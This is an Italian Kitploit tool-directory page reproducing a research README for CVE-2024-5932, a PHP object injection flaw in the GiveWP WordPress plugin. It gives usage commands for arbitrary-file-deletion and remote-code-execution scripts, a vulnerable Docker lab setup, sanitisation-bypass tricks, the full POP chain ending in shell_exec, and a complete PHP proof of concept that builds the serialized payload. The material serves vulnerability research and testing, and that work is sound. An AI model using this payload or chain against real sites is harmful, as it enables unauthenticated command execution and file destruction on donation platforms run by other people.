Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2024-5932 — Exploit di PHP Object Injection in GiveWP | Kitploit
Strumenti/GitHubGitHub/eqstlab/cve-2024-5932
Analisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebPenetration TestingPaper e RicercaApprendimento e FormazioneSviluppo Payload
GitHubeqstlab/cve-2024-5932

CVE-2024-5932

Exploit di PHP Object Injection in GiveWP

Vedi Repository
78101 anno faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Questo post è un articolo di ricerca pubblicato da EQSTLab.

❗❗ IMPORTANTE ❗❗

Ci sono attualmente repository GitHub di PoC false che eseguono xmrig. Dai un'occhiata al link qui sotto per maggiori informazioni:

URL1: https://x.com/win3zz/status/1828704644987511107

URL2: https://x.com/bornunique911/status/1828712791844524453

URL3: https://x.com/Chocapikk_/status/1828801346637856841

CVE-2024-5932

★ CVE-2024-5932 PoC di eliminazione arbitraria di file e RCE ★

https://github.com/user-attachments/assets/333e347a-fd71-404a-962b-2d0d4bb952c7

Cronologia

25 agosto : Caricato il PoC di eliminazione file di CVE-2024-5932

26 agosto : Abbiamo eseguito con successo comandi arbitrari utilizzando CVE-2024-5932, ma stiamo valutando la divulgazione a causa dell'impatto.

27 agosto : Abbiamo trovato un'analisi dettagliata del PoC in un post di Julien Ahrens di RCE Security e abbiamo deciso di pubblicare il nostro PoC RCE. Abbiamo caricato un PoC RCE aggiuntivo come CVE-2024-5932-rce.py.

Descrizione

CVE-2024-5932 : vulnerabilità di PHP Object Injection in GiveWP descrizione: Il plugin GiveWP Donation Plugin and Fundraising Platform plugin per WordPress è vulnerabile a PHP Object Injection in tutte le versioni fino alla 3.14.1 inclusa, tramite deserializzazione di input non attendibile dal parametro 'give_title'. Questo consente ad attaccanti non autenticati di iniettare un oggetto PHP. La presenza aggiuntiva di una catena POP consente agli attaccanti di eseguire codice da remoto e di eliminare file arbitrari.

Come usare

Clonazione Git

root@kitploit:~
git clone https://github.com/EQSTLab/CVE-2024-5932.git
cd CVE-2024-5932

Installare i pacchetti

root@kitploit:~
pip install -r requirements.txt

Comando

root@kitploit:~
# Arbitrary file deletion
python CVE-2024-5932.py -u <URL_TO_EXPLOIT(Donation Form URL)> -f <FILE_TO_DELETE>
# Remote code execution
python CVE-2024-5932-rce.py -u <URL_TO_EXPLOIT(Donation Form URL)> -c <COMMAND_TO_EXECUTE>

Esempio

root@kitploit:~
python CVE-2024-5932.py -u http://example.com/2024/08/24/donation2/ -f /tmp/test
python CVE-2024-5932-rce.py -u http://example.com/2024/08/24/donation2/ -c "touch /tmp/test"

Output

CVE-2024-5932.py 0

CVE-2024-5932-rce.py 1

Risultato

image 2

Ambiente vulnerabile

1. docker-compose.yml

root@kitploit:~
services:
  db:
    image: mysql:8.0.27
    command: '--default-authentication-plugin=mysql_native_password'
    restart: always
    environment:
      - MYSQL_ROOT_PASSWORD=somewordpress
      - MYSQL_DATABASE=wordpress
      - MYSQL_USER=wordpress
      - MYSQL_PASSWORD=wordpress
    expose:
      - 3306
      - 33060
  wordpress:
    image: wordpress:6.3.2
    ports:
      - 80:80
    restart: always
    environment:
      - WORDPRESS_DB_HOST=db
      - WORDPRESS_DB_USER=wordpress
      - WORDPRESS_DB_PASSWORD=wordpress
      - WORDPRESS_DB_NAME=wordpress
volumes:
  db_data:

2. Quindi scarica il plugin GiveWP vulnerabile:

https://downloads.wordpress.org/plugin/give.3.14.1.zip

3. Decomprimi il file zip del plugin GiveWP e copia l'intero file nella directory “/var/www/html/wp-content/plugins”.

root@kitploit:~
docker cp give docker-wordpress-1:/var/www/html/wp-content/plugins

4. Attiva il plugin GiveWP

image

5. Aggiungi un nuovo post con il plugin GiveWP e copia il link del post

image

6. Controlla il link vulnerabile

image

(Opzionale) Configura il file di destinazione nell'ambiente Docker

Prima di tutto, accedi alla shell di WordPress con il seguente comando:

root@kitploit:~
docker exec -it -u root docker-wordpress-1 /bin/bash

Se il file è di proprietà di root, potrebbe non essere eliminato a causa dei permessi. Pertanto, devi cambiare la proprietà del file di test con il seguente comando:

root@kitploit:~
touch test && chown www-data test

image

Debug tramite PHPSTORM

Puoi eseguire il debug del tuo GiveWP usando PHPSTORM.

1. Scarica xdebug nel tuo WordPress (Docker):

root@kitploit:~
pecl install xdebug

2. Quindi configura il file php.ini di WordPress in questo modo (Docker):

root@kitploit:~
[DEBUG]
zend_extension=/usr/local/lib/php/extensions/no-debug-non-zts-20200930/xdebug.so
xdebug.mode=debug
xdebug.start_with_request=trigger
xdebug.remote_enable=on
xdebug.remote_handler=dbgp
xdebug.client_host={your_PHPSTORM_address}
xdebug.client_port={your_PHPSTORM_debugging_port}
xdebug.idekey=PHPSTORM
xdebug.profiler_enable_trigger=1
xdebug.trace_enable_trigger=1

..E poi puoi eseguire il debug del tuo WordPress.

3. Configura PHPSTORM così (Locale):

image image

4. Esempio PHPSTORM (es. eliminazione arbitraria di file TCPDF)

image

Analisi

Punto vulnerabile (includes/payments/class-give-payment.php)

A questo punto, la funzione get_meta() deserializza il valore "give_title" salvato in precedenza.

root@kitploit:~
switch ( $key ) {
						case 'title':
							$user_info[ $key ] = Give()->donor_meta->get_meta( $donor->id, '_give_donor_title_prefix', true );
							break;
...

Tecnica di bypass

strip_tags: sostituisci i nullbyte -> usando \0

stripslashes_deep: sostituisci i backslash -> usando \\\\

Catena POP per RCE

Stripe\StripeObject->__toString()

Stripe\StripeObject->toArray()

Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->toArray()

Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->getLegacyBillingAddress()

Give->__get('address1')

\Give\Vendors\Faker\ValidGenerator->get('address1')

\Give\Vendors\Faker\ValidGenerator->__call('get', 'address1')

Give\Onboarding\SettingsRepository->get('address1') (Restituisce la stringa di comando)

call_user_func('shell_exec', 'command')

PoC.php

root@kitploit:~
<?php
namespace Stripe{
	class StripeObject
	{
		protected $_values;
		public function __construct(){
			$this->_values['foo'] = new \Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData();
		}
	}
}

namespace Give\PaymentGateways\DataTransferObjects{
	class GiveInsertPaymentData{
    public $userInfo;
		public function __construct()
    {
        $this->userInfo['address'] = new \Give();
    } 
	}
}	

namespace{
	class Give{
		protected $container;
		public function __construct()
		{
			$this->container = new \Give\Vendors\Faker\ValidGenerator();
		}
	}
}

namespace Give\Vendors\Faker{
	class ValidGenerator{
		protected $validator;
		protected $generator;
		public function __construct()
		{
			$this->validator = "shell_exec";
			$this->generator = new \Give\Onboarding\SettingsRepository();
		}
	}
}

namespace Give\Onboarding{
	class SettingsRepository{
		protected $settings;
		public function __construct()
		{
			$this -> settings['address1'] = 'touch /tmp/EQSTtest';
		}
	}
}

namespace{
	$a = new Stripe\StripeObject();
	echo serialize($a);
}

Scenario di attacco

RCE tramite catena POP

La catena POP consente l'esecuzione remota di comandi. image

Eliminazione arbitraria di file

Usando TCPDF, puoi sfruttare l'eliminazione arbitraria di file.

Dichiarazione di non responsabilità

Questo repository non intende essere un exploit di Object Injection per CVE-2024-5932. Lo scopo di questo progetto è aiutare le persone a conoscere questa vulnerabilità e, forse, testare le proprie applicazioni.

EQST Insight

Pubblichiamo analisi di CVE e malware una volta al mese. Se sei interessato, segui i link qui sotto per consultare le nostre pubblicazioni. https://www.skshieldus.com/eng/business/insight.do

Riferimento

https://www.wordfence.com/blog/2024/08/4998-bounty-awarded-and-100000-wordpress-sites-protected-against-unauthenticated-remote-code-execution-vulnerability-patched-in-givewp-wordpress-plugin/

https://skshieldus.com/eng/business/insight.do#

Scarica lo strumento